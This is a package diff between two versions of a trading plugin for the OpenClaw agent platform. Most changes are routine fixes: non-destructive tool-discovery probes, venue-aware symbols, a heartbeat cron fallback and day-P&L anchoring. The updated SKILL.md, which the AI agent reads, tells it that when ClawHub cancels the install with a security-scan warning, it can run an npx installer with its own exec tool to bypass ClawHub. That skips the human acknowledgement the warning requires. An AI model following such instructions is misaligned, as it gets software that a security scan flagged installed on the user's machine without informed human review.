@reefclaw/openclaw-plugin 0.1.9 → 0.1.11

package/bridge/gateway/gateway-ws-client.js

@@ -280,7 +280,15 @@ export class GatewayWsClient {
                     mode: 'backend',
                 },
                 role: 'operator',
-                scopes: ['operator.read', 'operator.write'],
+                // operator.admin: cron management (the boot-time heartbeat-cron ensure
+                // calls cron.list/cron.add) moved behind the admin scope on OpenClaw
+                // 2026.7.x — observed live on the first real npx onboarding
+                // ("Heartbeat cron: skipped (missing scope: operator.admin)",
+                // 2026-07-22, openclaw 2026.7.1-2). The gateway is localhost-bound and
+                // this connection already holds operator.write (orders, chat), so the
+                // marginal grant is small; without it fresh 2026.7.x installs never
+                // get a heartbeat cron.
+                scopes: ['operator.read', 'operator.write', 'operator.admin'],
                 auth: {
                     token: this.gatewayToken,
                     ...(this.deviceToken && { deviceToken: this.deviceToken }),

package/bridge/gateway/heartbeat-cron.js

@@ -58,20 +58,35 @@ export async function ensureHeartbeatCron(opts) {
             log(`Heartbeat cron: already exists (${String(existing.name)})`);
             return 'found_existing';
         }
-        // Parity with the params the CLI built for the old setup command
+        // First attempt mirrors the params the CLI built for the old setup command
         // (`openclaw cron add --name reefclaw-heartbeat --every 15m --session isolated --message ...`):
-        // isolated agentTurn defaults to delivery announce on the 'last' channel.
-        await rpc.sendRpc('cron.add', {
+        // isolated agentTurn defaults to delivery announce on the 'last' channel —
+        // right for boxes with a chat channel (the heartbeat's summary reaches the
+        // operator). On a FRESH box with no channels configured, cron.add REJECTS
+        // announce/'last' (no resolvable recipient — observed live on a first
+        // real npx onboarding, 2026-07-22; the old setup-time CLI path failed the
+        // same way, silently). Fall back to delivery mode 'none': a heartbeat that
+        // runs without announcing beats no heartbeat at all, and the operator sees
+        // the results on the dashboard anyway.
+        const baseJob = {
             name: HEARTBEAT_CRON_NAME,
             enabled: true,
             schedule: { kind: 'every', everyMs: HEARTBEAT_EVERY_MS },
             sessionTarget: 'isolated',
             wakeMode: 'now',
             payload: { kind: 'agentTurn', message: HEARTBEAT_MESSAGE },
-            delivery: { mode: 'announce', channel: 'last' },
-        });
-        writeMarker(markerPath, { ensuredAt: new Date().toISOString(), created: HEARTBEAT_CRON_NAME });
-        log(`Heartbeat cron: created (${HEARTBEAT_CRON_NAME}, every 15m)`);
+        };
+        let delivery = 'announce';
+        try {
+            await rpc.sendRpc('cron.add', { ...baseJob, delivery: { mode: 'announce', channel: 'last' } });
+        }
+        catch (addErr) {
+            log(`Heartbeat cron: announce delivery rejected (${addErr instanceof Error ? addErr.message.split('\n')[0] : String(addErr)}) — retrying without delivery`);
+            await rpc.sendRpc('cron.add', { ...baseJob, delivery: { mode: 'none' } });
+            delivery = 'none';
+        }
+        writeMarker(markerPath, { ensuredAt: new Date().toISOString(), created: HEARTBEAT_CRON_NAME, delivery });
+        log(`Heartbeat cron: created (${HEARTBEAT_CRON_NAME}, every 15m, delivery=${delivery})`);
         return 'created';
     }
     catch (err) {

package/bridge/gateway/tool-discovery.d.ts

@@ -1,9 +1,23 @@
-import { GatewayHttpClient } from './gateway-http-client.js';
+import { GatewayHttpClient, GatewayHttpError } from './gateway-http-client.js';
 /**
  * Logical tool names used by ReefClaw internally.
  * Each maps to one or more candidate actual tool names on the gateway.
  */
 export type LogicalTool = 'fetch_ticker' | 'fetch_balance' | 'fetch_ohlcv' | 'fetch_positions' | 'fetch_open_orders' | 'cancel_all_orders' | 'cancel_order' | 'close_position' | 'create_order' | 'get_market_structure' | 'get_crypto_metrics' | 'get_market_intel' | 'set_trading_mode' | 'set_exchange_credentials' | 'test_exchange_credentials' | 'clear_exchange_credentials' | 'get_bracket_config' | 'set_bracket_requirement';
+/**
+ * Build the test args used when probing each logical tool.
+ *
+ * Read tools (ticker, ohlcv, market structure, …) use the CONFIGURED symbol so
+ * the probe is venue-correct — the old hardcoded 'BTC/USDT' made every probe
+ * throw on a Hyperliquid-venue box ("not USDC-quoted"), which dropped the
+ * tools whose probes throw (fetch_open_orders, cancel_all_orders) and left the
+ * bridge retrying discovery every 30s forever (observed live on the HL rig,
+ * 2026-07-24).
+ *
+ * Destructive-capable tools (cancel_all_orders, close_position) probe with the
+ * PROBE_SENTINEL_SYMBOL so they can never execute against real state.
+ */
+export declare function buildProbeArgs(symbol?: string): Record<LogicalTool, Record<string, unknown>>;
 /** Map of logical tool names to their discovered actual tool names on the gateway */
 export type ToolMap = Partial<Record<LogicalTool, string>>;
 export interface DiscoveryResult {
@@ -16,10 +30,15 @@ export interface DiscoveryResult {
     /** Logical names of optional tools that are missing */
     missingOptional: LogicalTool[];
 }
+/** True when an envelope-level (HTTP 200, ok:false) error denotes an unknown
+ *  tool name rather than a tool that executed and failed. Exported for tests. */
+export declare function isUnknownToolEnvelopeError(err: GatewayHttpError): boolean;
 /**
  * Discover all available trading tools on the gateway.
  *
  * Probes required tools first, then optional tools in parallel.
  * Fails fast if no required tools are found.
  */
-export declare function discoverTools(http: GatewayHttpClient): Promise<DiscoveryResult>;
+export declare function discoverTools(http: GatewayHttpClient, opts?: {
+    symbol?: string;
+}): Promise<DiscoveryResult>;

package/bridge/gateway/tool-discovery.js

@@ -47,53 +47,109 @@ const CANDIDATES = {
     get_bracket_config: ['get_bracket_config'],
     set_bracket_requirement: ['set_bracket_requirement'],
 };
+/** Default probe symbol when the caller does not supply the configured one.
+ *  Kept for back-compat with pre-symbol callers; real deployments should pass
+ *  the configured symbol so probes are venue-correct (see buildProbeArgs). */
+const DEFAULT_PROBE_SYMBOL = 'BTC/USDT';
+/** Sentinel symbol for probes of DESTRUCTIVE-CAPABLE tools. It never resolves
+ *  to a market on any venue, so the probe can never touch a real order or
+ *  position: the tool executes, fails fast client-side, and the envelope-level
+ *  error still proves the tool exists (see probeCandidate).
+ *
+ *  ★ Why this exists (2026-07-24): cancel_all_orders was probed with a REAL
+ *  symbol — a valid, executable cancel-all sweep. On a live box with a resting
+ *  working order, every bridge restart (and every 30s discovery retry) would
+ *  silently cancel it. A probe must never be an order-book mutation. */
+const PROBE_SENTINEL_SYMBOL = '__probe__';
 /**
- * Test args used when probing each logical tool.
- * Read tools (ticker, balance, etc.) use real args that return data.
- * Write tools (create_order, cancel, close) use args that will be
- * rejected by exchange validation (amount:0, etc.) — we only need
- * to distinguish 400 (tool exists, bad args) from 404 (tool not found).
+ * Build the test args used when probing each logical tool.
+ *
+ * Read tools (ticker, ohlcv, market structure, …) use the CONFIGURED symbol so
+ * the probe is venue-correct — the old hardcoded 'BTC/USDT' made every probe
+ * throw on a Hyperliquid-venue box ("not USDC-quoted"), which dropped the
+ * tools whose probes throw (fetch_open_orders, cancel_all_orders) and left the
+ * bridge retrying discovery every 30s forever (observed live on the HL rig,
+ * 2026-07-24).
+ *
+ * Destructive-capable tools (cancel_all_orders, close_position) probe with the
+ * PROBE_SENTINEL_SYMBOL so they can never execute against real state.
  */
-const PROBE_ARGS = {
-    fetch_ticker: { symbol: 'BTC/USDT' },
-    fetch_balance: {},
-    fetch_ohlcv: { symbol: 'BTC/USDT', timeframe: '1h', limit: 1 },
-    fetch_positions: { symbol: 'BTC/USDT' },
-    fetch_open_orders: { symbol: 'BTC/USDT' },
-    // For write tools: probe with minimal args. We expect 400 (bad args) = tool exists.
-    cancel_all_orders: { symbol: 'BTC/USDT' },
-    cancel_order: { id: 'probe-0', symbol: 'BTC/USDT' },
-    close_position: { symbol: 'BTC/USDT' },
-    create_order: { symbol: 'BTC/USDT', type: 'limit', side: 'buy', amount: 0, price: 0 },
-    get_market_structure: { symbol: 'BTC/USDT' },
-    get_crypto_metrics: { symbol: 'BTC/USDT' },
-    get_market_intel: { category: 'sentiment' },
-    // Safe probe args — plugin tools early-return on invalid input without
-    // touching disk. `mode: '__probe__'` fails the VALID_MODES check; empty
-    // strings fail the length-8 validator in set_exchange_credentials. Both
-    // return HTTP 200 with ok:false, which the probe treats as "tool exists".
-    set_trading_mode: { mode: '__probe__' },
-    set_exchange_credentials: { apiKey: '', secret: '' },
-    // test_exchange_credentials: empty strings fail the length check and
-    // early-return without hitting Binance.
-    test_exchange_credentials: { apiKey: '', secret: '' },
-    // clear_exchange_credentials: tool requires confirm:true. Probing without
-    // it triggers the safety gate early-return — tool exists, nothing wiped.
-    clear_exchange_credentials: {},
-    // Bracket-config probes: no-arg read; set with an invalid flag triggers early-return.
-    get_bracket_config: {},
-    set_bracket_requirement: { flag: '__probe__', value: false },
-};
+export function buildProbeArgs(symbol = DEFAULT_PROBE_SYMBOL) {
+    return {
+        fetch_ticker: { symbol },
+        fetch_balance: {},
+        fetch_ohlcv: { symbol, timeframe: '1h', limit: 1 },
+        fetch_positions: { symbol },
+        fetch_open_orders: { symbol },
+        // ★ NEVER a real symbol: a cancel-all probe with a real symbol is a real
+        // cancel-all. The sentinel fails symbol resolution before any order is
+        // touched; the resulting envelope error still counts as "tool exists".
+        cancel_all_orders: { symbol: PROBE_SENTINEL_SYMBOL },
+        // cancel_order: nonexistent id — order-not-found error, nothing cancelled.
+        cancel_order: { id: 'probe-0', symbol },
+        // ★ Sentinel for the same reason: close_position with a real symbol and an
+        // open position could market-close it (the close-discipline validator is a
+        // live-mode reason gate, not a guarantee on every mode/venue/version).
+        close_position: { symbol: PROBE_SENTINEL_SYMBOL },
+        // amount 0 is rejected by order validation before reaching any exchange.
+        create_order: { symbol, type: 'limit', side: 'buy', amount: 0, price: 0 },
+        get_market_structure: { symbol },
+        get_crypto_metrics: { symbol },
+        get_market_intel: { category: 'sentiment' },
+        // Safe probe args — plugin tools early-return on invalid input without
+        // touching disk. `mode: '__probe__'` fails the VALID_MODES check; empty
+        // strings fail the length-8 validator in set_exchange_credentials. Both
+        // return HTTP 200 with ok:false, which the probe treats as "tool exists".
+        set_trading_mode: { mode: '__probe__' },
+        set_exchange_credentials: { apiKey: '', secret: '' },
+        // test_exchange_credentials: empty strings fail the length check and
+        // early-return without hitting Binance.
+        test_exchange_credentials: { apiKey: '', secret: '' },
+        // clear_exchange_credentials: tool requires confirm:true. Probing without
+        // it triggers the safety gate early-return — tool exists, nothing wiped.
+        clear_exchange_credentials: {},
+        // Bracket-config probes: no-arg read; set with an invalid flag triggers early-return.
+        get_bracket_config: {},
+        set_bracket_requirement: { flag: '__probe__', value: false },
+    };
+}
 // ---- Discovery logic ----
+/** Envelope-level error messages that mean "the gateway does not have this
+ *  tool" (as opposed to "the tool executed and failed"). Matched against the
+ *  error message + body of a 200-status GatewayHttpError.
+ *
+ *  The name-not-found pattern requires a QUOTED tool name ("tool 'x' not
+ *  found") — a bare `tool .* not found` would false-positive on legitimate
+ *  execution errors like cancel_order's "Tool invoke failed: Order probe-0
+ *  not found" (the probe's EXPECTED failure) and drop the tool. */
+const UNKNOWN_TOOL_RE = /unknown tool|tool ['"][^'"]*['"] (?:not found|does not exist)|no such tool|is not registered|tool_not_found|unavailable tool|not in allowlist/i;
+/** True when an envelope-level (HTTP 200, ok:false) error denotes an unknown
+ *  tool name rather than a tool that executed and failed. Exported for tests. */
+export function isUnknownToolEnvelopeError(err) {
+    const haystack = `${err.message} ${JSON.stringify(err.body ?? '')}`;
+    return UNKNOWN_TOOL_RE.test(haystack);
+}
 /**
  * Probe a single candidate tool name. Returns true if the tool exists.
  *
+ * ★ "Exists" means the invocation REACHED the tool — not that it succeeded.
+ * A tool that executed and threw (venue mismatch, transient rate limit, a
+ * refused destructive call) absolutely exists; dropping it from the toolMap
+ * was the 2026-07-24 HL-rig bug (fetch_open_orders/cancel_all_orders throw on
+ * a probe error → "missing" forever → 30s discovery-retry loop + emergency
+ * controls degraded).
+ *
  * Strategy:
- * - 200: tool exists and invocation succeeded
- * - 400: tool exists but args were bad (still counts as found)
+ * - 200 parsed OK: exists and works
+ * - 400: exists, bad args
+ * - 200 + envelope ok:false: the tool EXECUTED and failed → exists — unless
+ *   the envelope error says the tool name itself is unknown (gateways that
+ *   report unknown tools in-envelope instead of via 404)
+ * - >=500: the tool executed and threw server-side → exists
  * - 404: tool does not exist
  * - 401: auth error — rethrow (don't mask)
- * - Other: treat as not found
+ * - network error / timeout (status 0): unknown — treat as not found, the
+ *   discovery retry loop will re-probe
  */
 async function probeCandidate(http, candidateName, args) {
     try {
@@ -108,6 +164,15 @@ async function probeCandidate(http, candidateName, args) {
                 return false; // Tool not found
             if (err.status === 401)
                 throw err; // Auth error — fatal
+            if (err.status === 200) {
+                // Envelope-level failure: the HTTP layer accepted the call. Either the
+                // tool executed and failed (exists) or the gateway rejected an unknown
+                // tool name in-envelope (not found). Candidate order protects the
+                // ambiguous case: the real plugin name is probed before any alias.
+                return !isUnknownToolEnvelopeError(err);
+            }
+            if (err.status >= 500)
+                return true; // Tool executed and threw
         }
         return false;
     }
@@ -116,9 +181,9 @@ async function probeCandidate(http, candidateName, args) {
  * Discover the actual tool name for a logical tool by probing candidates in order.
  * Returns the first candidate that exists, or null if none found.
  */
-async function discoverTool(http, logical) {
+async function discoverTool(http, logical, probeArgs) {
     const candidates = CANDIDATES[logical];
-    const args = PROBE_ARGS[logical];
+    const args = probeArgs[logical];
     for (const candidate of candidates) {
         logger.debug(TAG, `Probing ${candidate} for ${logical}...`);
         const exists = await probeCandidate(http, candidate, args);
@@ -135,15 +200,16 @@ async function discoverTool(http, logical) {
  * Probes required tools first, then optional tools in parallel.
  * Fails fast if no required tools are found.
  */
-export async function discoverTools(http) {
+export async function discoverTools(http, opts) {
     logger.info(TAG, 'Starting tool auto-discovery...');
+    const probeArgs = buildProbeArgs(opts?.symbol);
     const toolMap = {};
     const found = [];
     const missingRequired = [];
     const missingOptional = [];
     // Discover required tools first (sequentially to fail fast on auth errors)
     for (const logical of REQUIRED_TOOLS) {
-        const actual = await discoverTool(http, logical);
+        const actual = await discoverTool(http, logical, probeArgs);
         if (actual) {
             toolMap[logical] = actual;
             found.push(logical);
@@ -167,7 +233,7 @@ export async function discoverTools(http) {
     }
     // Discover optional tools in parallel
     const optionalResults = await Promise.allSettled(OPTIONAL_TOOLS.map(async (logical) => {
-        const actual = await discoverTool(http, logical);
+        const actual = await discoverTool(http, logical, probeArgs);
         return { logical, actual };
     }));
     for (const result of optionalResults) {

package/bridge/providers/gateway.d.ts

@@ -14,6 +14,17 @@ export declare function shouldAnchorSessionNav(args: {
     today: string;
     mode: TradingMode;
 }): boolean;
+/** Decide whether to adopt the plugin-provided sessionStartNav from a balance
+ *  response. Pure so it can be unit-tested without the full provider.
+ *
+ *  ★ Deliberately MODE-INDEPENDENT: the plugin's anchor is authoritative in
+ *  every mode — live/shadow anchor to the exchange income/day-anchor, and
+ *  PAPER's simulator seeds + midnight-rolls its own anchor in state.json (the
+ *  same value its pre-trade risk gate reads). The pre-2026-07-24 non-PAPER
+ *  gate left paper with a SECOND, skill-computed anchor; on a customer box the
+ *  two diverged (13942 vs 10024) and the skill auto-flattened a FLAT account
+ *  at a phantom −27.81% drawdown while the plugin's own view was GREEN. */
+export declare function shouldSyncPluginSessionNav(pluginNav: unknown, currentNav: number): pluginNav is number;
 export declare class GatewayProvider implements OpenClawProvider {
     private readonly config;
     private http;

package/bridge/providers/gateway.js

@@ -49,6 +49,21 @@ export function shouldAnchorSessionNav(args) {
         return true; // never anchored
     return args.mode === 'PAPER' && args.sessionDate !== args.today; // paper midnight rollover
 }
+/** Decide whether to adopt the plugin-provided sessionStartNav from a balance
+ *  response. Pure so it can be unit-tested without the full provider.
+ *
+ *  ★ Deliberately MODE-INDEPENDENT: the plugin's anchor is authoritative in
+ *  every mode — live/shadow anchor to the exchange income/day-anchor, and
+ *  PAPER's simulator seeds + midnight-rolls its own anchor in state.json (the
+ *  same value its pre-trade risk gate reads). The pre-2026-07-24 non-PAPER
+ *  gate left paper with a SECOND, skill-computed anchor; on a customer box the
+ *  two diverged (13942 vs 10024) and the skill auto-flattened a FLAT account
+ *  at a phantom −27.81% drawdown while the plugin's own view was GREEN. */
+export function shouldSyncPluginSessionNav(pluginNav, currentNav) {
+    return typeof pluginNav === 'number'
+        && pluginNav > 0
+        && Math.abs(currentNav - pluginNav) > 0.001;
+}
 function loadSessionStartNav() {
     for (const path of [getDayNavPath(), getLegacyDayNavPath()]) {
         try {
@@ -831,8 +846,11 @@ export class GatewayProvider {
         else {
             logger.warn(TAG, 'No device token from WS handshake — REST calls may fail (using raw gateway token)');
         }
-        // Step 4: Discover available tools (async — check for stop() after)
-        const discovery = await discoverTools(this.http);
+        // Step 4: Discover available tools (async — check for stop() after).
+        // Pass the configured symbol so probes are venue-correct — a hardcoded
+        // BTC/USDT probe throws on a Hyperliquid-venue plugin and silently drops
+        // the tools whose probes throw (2026-07-24 HL-rig bug).
+        const discovery = await discoverTools(this.http, { symbol: this.config.symbol });
         if (!this.started) {
             logger.info(TAG, 'Stopped during tool discovery — aborting initialization');
             this.http = null;
@@ -975,7 +993,7 @@ export class GatewayProvider {
             try {
                 // Capture http ref before await — stop() can nullify it
                 const http = this.http;
-                const discovery = await discoverTools(http);
+                const discovery = await discoverTools(http, { symbol: this.config.symbol });
                 // Guard: stop() may have been called during async discovery
                 if (!this.started || !this.http)
                     return;
@@ -1653,23 +1671,32 @@ export class GatewayProvider {
             if (typeof result.data.equity === 'number') {
                 this.equity = result.data.equity;
             }
-            // In non-PAPER modes, the plugin anchors sessionStartNav to Binance's
-            // /fapi/v1/income at UTC midnight on every balance fetch — that's the
-            // authoritative truth. Sync continuously, not just on first set: the
-            // pre-2026-05-14 guard `this.sessionStartNav < 0` meant once the skill
-            // had ANY value (from file load or computeEquity), the plugin's correct
-            // value was ignored forever. The skill's self-computed value drifts
-            // whenever trading has already happened before the skill first polls
-            // (operator screenshot 2026-05-14 found a $3.92 dashboard-vs-Binance
-            // gap from a $1095.95 self-computed seed vs the plugin's $1099.86
-            // midnight-anchored truth). Crossing UTC midnight is also handled
-            // automatically — plugin's anchor refreshes, skill syncs next poll.
-            if (this.tradingMode !== 'PAPER') {
+            // The plugin's sessionStartNav is the authoritative day anchor in EVERY
+            // mode, so sync continuously whenever it provides one:
+            //  - live/shadow: anchored to Binance's /fapi/v1/income at UTC midnight
+            //    (or the HL day-anchor reconstruction) — the 2026-05-14 lesson: the
+            //    skill's self-computed value drifts whenever trading happened before
+            //    the skill first polled ($1095.95 self-seed vs the plugin's $1099.86
+            //    income-anchored truth = a $3.92 dashboard-vs-Binance gap).
+            //  - PAPER: the simulator seeds + midnight-rolls its own anchor in
+            //    state.json and its pre-trade risk gate reads THAT value. The skill
+            //    previously kept a SECOND, self-computed paper anchor here — two
+            //    anchors for one number. On a customer box (2026-07-24) the skill's
+            //    boot-seeded 13942 diverged from the plugin's 10024 and the skill's
+            //    RED-zone math auto-flattened a FLAT account at a phantom −27.81%
+            //    while the plugin's own view was GREEN. One anchor, one truth.
+            // Crossing UTC midnight is handled automatically — the plugin's anchor
+            // refreshes, the skill syncs next poll. The skill's self-seed
+            // (trySetSessionStartNav) remains only as a fallback for plugins too old
+            // to emit sessionStartNav.
+            {
                 const pluginNav = result.data.sessionStartNav;
-                if (typeof pluginNav === 'number' && pluginNav > 0
-                    && Math.abs(this.sessionStartNav - pluginNav) > 0.001) {
+                if (shouldSyncPluginSessionNav(pluginNav, this.sessionStartNav)) {
                     const prev = this.sessionStartNav;
                     this.sessionStartNav = pluginNav;
+                    // Stamp the day so the PAPER self-seed path (shouldAnchorSessionNav
+                    // re-anchors on a stale sessionDate) doesn't flap against the sync.
+                    this.sessionDate = todayDateStr();
                     saveSessionStartNav(pluginNav);
                     logger.info(TAG, `Session start NAV synced from plugin: ${prev.toFixed(4)} -> ${pluginNav} (${this.tradingMode} mode)`);
                 }

package/index.js

@@ -22,6 +22,7 @@ import { DEFAULT_CONFIG } from './types.js';
 import { PaperAdapter } from './paper-adapter.js';
 import { LiveAdapter, } from './live/live-adapter.js';
 import { createLiveAdapter, fillExchangeId, isLiveVenueSupported, parseVenue, venueQuoteCurrency, } from './venues/registry.js';
+import { resolvePluginSymbol } from './venues/symbols.js';
 import { HyperliquidPublicApi } from './venues/hyperliquid/hl-public.js';
 import { bracketsEnabled, loadBracketMode } from './config/brackets-config.js';
 import { loadUserDataStreamMode, loadUserDataStreamTunables, loadUserDataStreamDbWrite, getUserDataStreamIngestBaseUrl, resolveIngestToken, resolveReefclawUserId, } from './config/user-data-stream-config.js';
@@ -909,15 +910,22 @@ const paperTradingPlugin = {
         // rules, and an unreadable config falls back to the binance default
         // exactly like the main read does.
         let paperQuoteCurrency = DEFAULT_CONFIG.quoteCurrency;
+        let peekedVenue = 'binance';
         try {
-            paperQuoteCurrency = venueQuoteCurrency(parseVenue(readPluginConfig().exchange?.venue).venue);
+            peekedVenue = parseVenue(readPluginConfig().exchange?.venue).venue;
+            paperQuoteCurrency = venueQuoteCurrency(peekedVenue);
         }
         catch {
             /* unreadable plugin-config → binance default, matching the main read */
         }
         const pluginConfig = {
             startingBalance: DEFAULT_CONFIG.startingBalance,
-            symbol: DEFAULT_CONFIG.symbol,
+            // Symbol resolution (2026-07-24): honor the openclaw.json entry config
+            // (api.config.symbol — declared in configSchema but previously IGNORED),
+            // falling back to the VENUE's default (BTC/USDC on hyperliquid). The old
+            // venue-blind DEFAULT_CONFIG.symbol hardcode gave every in-plugin
+            // consumer on a hyperliquid box a symbol its own venue rejects.
+            symbol: resolvePluginSymbol(api.config?.symbol, peekedVenue),
             quoteCurrency: paperQuoteCurrency,
         };
         logger.info(TAG, `Config: ${pluginConfig.startingBalance} ${pluginConfig.quoteCurrency}, symbol: ${pluginConfig.symbol}`);

package/openclaw.plugin.json

@@ -1,7 +1,7 @@
 {
   "id": "reefclaw-paper-trading",
   "name": "ReefClaw Trading",
-  "version": "0.1.9",
+  "version": "0.1.11",
   "description": "Supervised trading plugin for the ReefClaw dashboard: paper trading with real market data (no API keys required), and optional live trading on Binance or Hyperliquid behind explicit operator opt-in, exchange API credentials, and always-on protective stop brackets. Includes the dashboard connector bridge, heartbeat automation, and remote SKILL.md instruction updates from the ReefClaw webapp.",
   "author": "ReefClaw",
   "activation": {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@reefclaw/openclaw-plugin",
-  "version": "0.1.9",
+  "version": "0.1.11",
   "description": "ReefClaw supervised trading plugin for OpenClaw \u2014 paper trading with real market data, optional live trading on Binance or Hyperliquid (operator opt-in, API keys, always-on protective brackets), plus the ReefClaw dashboard connector with heartbeat automation and remote SKILL.md updates from the ReefClaw webapp. Install: /plugins install clawhub:@reefclaw/openclaw-plugin",
   "type": "module",
   "main": "index.js",

package/skills/reefclaw/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: reefclaw
-version: 0.0.5
+version: 0.0.6
 description: ReefClaw trading control room — bootstrap (connects your agent; full trading instructions arrive automatically after first connect)
 author: ReefClaw
 homepage: https://reefclaw.com
@@ -80,9 +80,12 @@ OpenClaw can install the ReefClaw plugin through its own owner chat command —
 2. Tell the user to type `/restart` in this chat.
 3. Then the user types: `/plugins install clawhub:@reefclaw/openclaw-plugin` — the install restarts OpenClaw automatically; the bundled connector starts by itself and the dashboard flips to Connected.
 
-If that install is **cancelled asking for a ClawHub risk acknowledgement** (OpenClaw 2026.7+ does this; older versions never ask and reject the flag), rerun the identical command with the acknowledgement appended: `/plugins install clawhub:@reefclaw/openclaw-plugin --acknowledge-clawhub-risk`. If it is still refused, use the `npx @reefclaw/connect` fallback — it does not go through ClawHub.
+If that install is **cancelled with a ClawHub security warning** ("Security scan: suspicious"): this is expected — ReefClaw is a trading plugin with disclosed live-trading capability, exchange-credential storage, and remote instruction updates, and ClawHub flags that capability set for review (the linked security page shows the details; VirusTotal reports it clean). **The chat command cannot acknowledge the warning — do NOT retry it in chat.** Two working paths, in order of preference:
 
-Only fall back to `npx @reefclaw/connect` (below) when the chat install is unavailable.
+1. Run `npx --yes @reefclaw/connect` — it does not go through ClawHub. Use your exec tool if permitted (see the elevated-exec section below if it is not), or ask the user to run it once in a terminal.
+2. A human who has reviewed the warning runs `openclaw plugins install clawhub:@reefclaw/openclaw-plugin --acknowledge-clawhub-risk` in a terminal (the acknowledgement is accepted from a trusted shell, only refused from chat).
+
+Only fall back to `npx @reefclaw/connect` (below) when the chat install is unavailable or cancelled as above.
 
 ## If you cannot run the installer (elevated exec disabled)
 

package/venues/hyperliquid/hl-day-anchor.d.ts

@@ -0,0 +1,36 @@
+import { type HlFillForAnchor, type HlFundingForAnchor } from './hl-balance.js';
+/** The two anchor-input reads the private API supplies. `HyperliquidPrivateApi`
+ *  satisfies this structurally, so production passes `this.api`; tests pass a fake. */
+export interface HlAnchorFetchers {
+    fetchFillsSince(sinceMs: number): Promise<HlFillForAnchor[] | null>;
+    fetchFundingSince(sinceMs: number): Promise<HlFundingForAnchor[] | null>;
+}
+export declare class HlDayPnlAnchor {
+    private readonly refreshIntervalMs;
+    private sessionStartNav;
+    private realizedPnlToday;
+    private anchorUtcDay;
+    private lastRefreshMs;
+    constructor(refreshIntervalMs?: number);
+    /** `wallet_at_midnight` (+ any capital flows since). `null` until the first
+     *  successful refresh — the caller then emits nothing rather than a fabricated
+     *  anchor, and the skill's safe fallback (self-computed) applies. */
+    getSessionStartNav(): number | null;
+    /** `netNonTransfer` since UTC midnight = Σ closedPnl − fees + funding. Matches
+     *  the HL app's "today's realized" decomposition (fees + funding included). */
+    getRealizedPnlToday(): number;
+    /** True when a recompute is due: bootstrap (no anchor yet), UTC-day rollover, or
+     *  the throttle has elapsed. */
+    shouldRefresh(now: number): boolean;
+    /**
+     * Recompute the anchor from this UTC day's fills + funding. `walletNow` is
+     * `nav.wallet` (= accountValue − ΣuPnl). Best-effort — NEVER throws for the
+     * caller (a failed fetch keeps the last good anchor). Returns whether the anchor
+     * was (re)computed this call.
+     */
+    refresh(args: {
+        walletNow: number;
+        fetchers: HlAnchorFetchers;
+        now?: number;
+    }): Promise<boolean>;
+}

package/venues/hyperliquid/hl-day-anchor.js

@@ -0,0 +1,114 @@
+// Hyperliquid Day-P&L anchor — the stateful orchestration around the pure
+// reconstruction in `hl-balance.ts`. This is the HL analog of the income-anchor
+// half of Binance's `LiveBalanceEnricher`: HL has no `/fapi/v1/income` endpoint,
+// so `sessionStartNav` (the UTC-midnight NAV baseline) is REBUILT each refresh
+// from `userFillsByTime` + `userFunding` since midnight.
+//
+// ★ WHY THIS EXISTS — the incident it closes (2026-07-24). Before it was wired,
+//   the HL adapter's `getBalance()` returned a BARE balance with no
+//   `sessionStartNav`/`realizedPnlToday`/`equity`. The skill therefore fell back
+//   to self-computing the anchor ONCE per day from `computeEquity()` — a snapshot
+//   of equity at whatever instant it first polled, that neither tracked capital
+//   flows nor re-anchored to true UTC midnight. On a real micro-live account that
+//   printed a phantom **−$91.85 / −29.91% Day P&L** while the account was actually
+//   flat (real equity $215, unrealized −$0.19). This is the "T-4 KPI parity vs the
+//   HL app" gate (docs/CLAUDE/hyperliquid.md, plan §5.8).
+//
+// ★ SELF-CORRECTING BY CONSTRUCTION. `sessionStartNav = wallet_now − netNonTransfer`
+//   is recomputed from scratch every refresh. `netNonTransfer` (Σ closedPnl − fees
+//   + funding) EXCLUDES capital flows — a deposit/withdrawal is neither a fill nor
+//   funding — so a flow raises `wallet_now` and the anchor by the SAME signed
+//   amount and cancels out of Day-P&L automatically, with no incremental ledger
+//   bookkeeping that could drift. (`applyLedgerDelta` in hl-balance.ts remains for
+//   a possible future incremental path; the recompute makes it unnecessary here.)
+//
+// ★ null ≠ empty. A FAILED fills/funding fetch must NOT recompute the anchor from
+//   partial data — that would understate `netNonTransfer` and print exactly the
+//   phantom Day-P&L this fixes. On a failed fetch the refresh KEEPS the last good
+//   anchor and retries next cycle; the anchor is invariant within a UTC day except
+//   for capital flows, so a held value is correct, never fabricated.
+import { logger } from '../../logger.js';
+import { computeNetNonTransfer, deriveSessionStartNav, utcMidnightMs, } from './hl-balance.js';
+const TAG = 'hl-day-anchor';
+/** Recompute cadence. The anchor is invariant within a UTC day except for capital
+ *  flows, so a modest throttle is plenty; forced on bootstrap + UTC-day rollover.
+ *  Each refresh costs ~40 IP weight (userFills 20 + userFunding 20) against the
+ *  1200/min budget — trivial at heartbeat cadence. */
+const DEFAULT_REFRESH_INTERVAL_MS = 60_000;
+/** UTC day (YYYY-MM-DD) — the Day-P&L rollover key. */
+function utcDayString(ms) {
+    return new Date(ms).toISOString().slice(0, 10);
+}
+export class HlDayPnlAnchor {
+    refreshIntervalMs;
+    sessionStartNav = null;
+    realizedPnlToday = 0;
+    anchorUtcDay = null;
+    lastRefreshMs = 0;
+    constructor(refreshIntervalMs = DEFAULT_REFRESH_INTERVAL_MS) {
+        this.refreshIntervalMs = refreshIntervalMs;
+    }
+    /** `wallet_at_midnight` (+ any capital flows since). `null` until the first
+     *  successful refresh — the caller then emits nothing rather than a fabricated
+     *  anchor, and the skill's safe fallback (self-computed) applies. */
+    getSessionStartNav() {
+        return this.sessionStartNav;
+    }
+    /** `netNonTransfer` since UTC midnight = Σ closedPnl − fees + funding. Matches
+     *  the HL app's "today's realized" decomposition (fees + funding included). */
+    getRealizedPnlToday() {
+        return this.realizedPnlToday;
+    }
+    /** True when a recompute is due: bootstrap (no anchor yet), UTC-day rollover, or
+     *  the throttle has elapsed. */
+    shouldRefresh(now) {
+        if (this.sessionStartNav === null)
+            return true;
+        if (utcDayString(now) !== this.anchorUtcDay)
+            return true;
+        return now - this.lastRefreshMs >= this.refreshIntervalMs;
+    }
+    /**
+     * Recompute the anchor from this UTC day's fills + funding. `walletNow` is
+     * `nav.wallet` (= accountValue − ΣuPnl). Best-effort — NEVER throws for the
+     * caller (a failed fetch keeps the last good anchor). Returns whether the anchor
+     * was (re)computed this call.
+     */
+    async refresh(args) {
+        const now = args.now ?? Date.now();
+        if (!this.shouldRefresh(now))
+            return false;
+        const sinceMs = utcMidnightMs(now);
